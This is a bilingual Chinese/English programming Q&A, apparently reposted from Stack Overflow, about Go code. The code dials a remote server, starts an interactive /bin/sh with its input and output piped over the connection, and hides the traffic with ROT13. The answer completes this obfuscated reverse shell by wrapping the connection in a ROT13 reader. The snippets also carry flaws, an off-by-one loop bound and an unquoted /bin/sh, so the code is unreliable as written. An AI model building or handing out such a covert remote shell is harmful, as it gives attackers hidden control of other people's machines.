英文:
How to capture the bytes of stdin
问题
目标:我想捕获cmd.Stdin的所有字节,并使用这个rot13函数进行处理:https://play.golang.org/p/VX2pwaIqhmT
故事:我正在编写一个小工具,将为win/linux进行交叉编译,所以我试图尽可能简单。该工具连接到服务器,我可以在客户端上执行命令。
由于我必须对cmd.Stdout执行相同的操作,我使用了以下代码:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i") // 请记住这是一个***交互式***shell,而不仅仅是一个简单的命令
cmd.Stdin = conn
cmdStdout, err := cmd.StdoutPipe() // 正常工作
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.......
err = OBFprocessStream(cmdStdout, conn) // 正常工作
.....
其中OBFprocessStream函数基于此函数:https://play.golang.org/p/j_TKZWuhGaK。这里一切正常。
所以,我尝试对cmd.Stdin复制相同的操作:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i")
cmdStdin, err := cmd.StdinPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
}
cmdStdout, err := cmd.StdoutPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.......
err = INOBFprocessStream(cmdStdin, conn)
.......
.......
err = OBFprocessStream(cmdStdout, conn)
.......
但是.. cmdStdin是一个Io.WriterCloser,我真的不知道该怎么做才能捕获字节sEGIHOsegoihszrhoiò
你能帮帮我吗?
英文:
The goal: I want to capture all the bytes of cmd.Stdin and process them with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT
The story: I'm coding a small tool which will be cross compiled for both win/ linux, so I'm trying to make it as simple as possible. This tool connects to the server from which I can execute commands on the client.
Since I had to do the same thing for cmd.Stdout, I used this:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an ***interactive***
//***shell***, and not just a simple command
cmd.Stdin = conn
cmdStdout, err := cmd.StdoutPipe() // works fine
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.....
err = OBFprocessStream(cmdStdout, conn) // works fine
....
Where OBFprocessStream function is based on this one: https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here .
So, I tried to replicate the same thing for cmd.Stdin:
.......
conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo)
......
cmd := exec.Command(/bin/sh, "-i")
cmdStdin, err := cmd.StdinPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err)
}
cmdStdout, err := cmd.StdoutPipe()
if err != nil {
fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err)
}
cmd.Stderr = conn
err = cmd.Start()
if err != nil {
fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err)
}
.....
err = INOBFprocessStream(cmdStdin, conn)
....
.....
err = OBFprocessStream(cmdStdout, conn)
....
But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do to capture the bytes sEGIHOsegoihszrhoiò
Can you please help me?
答案1
得分: 2
所以看起来你实际上想要从conn
读取数据,用ROT13进行过滤,然后将其传递给cmd.Stdin
(它接受一个io.Reader
)。
而你的rot13Reader
已经实现了io.Reader
:
type rot13Reader struct {
r io.Reader
}
func (r13 *rot13Reader) Read(b []byte) (int, error) {
n, err := r13.r.Read(b)
for i := 0; i <= n; i++ {
b[i] = rot13(b[i])
}
return n, err
}
因此,一个快速的解决方案是构建一个小的过滤器链,如下所示:
cmd.Stdin = &rot13Reader{conn}
英文:
So it seems what you actually want is to read the data from conn
, filter it with ROT13 and then pass it to cmd.Stdin
(which accepts an io.Reader
).
And your rot13Reader
is already implementing io.Reader
:
type rot13Reader struct {
r io.Reader
}
func (r13 *rot13Reader) Read(b []byte) (int, error) {
n, err := r13.r.Read(b)
for i := 0; i <= n; i++ {
b[i] = rot13(b[i])
}
return n, err
}
So a quick solution can be to construct a small filter chain out of it like so:
cmd.Stdin = &rot13Reader{conn}
通过集体智慧和协作来改善编程学习和解决问题的方式。致力于成为全球开发者共同参与的知识库,让每个人都能够通过互相帮助和分享经验来进步。
评论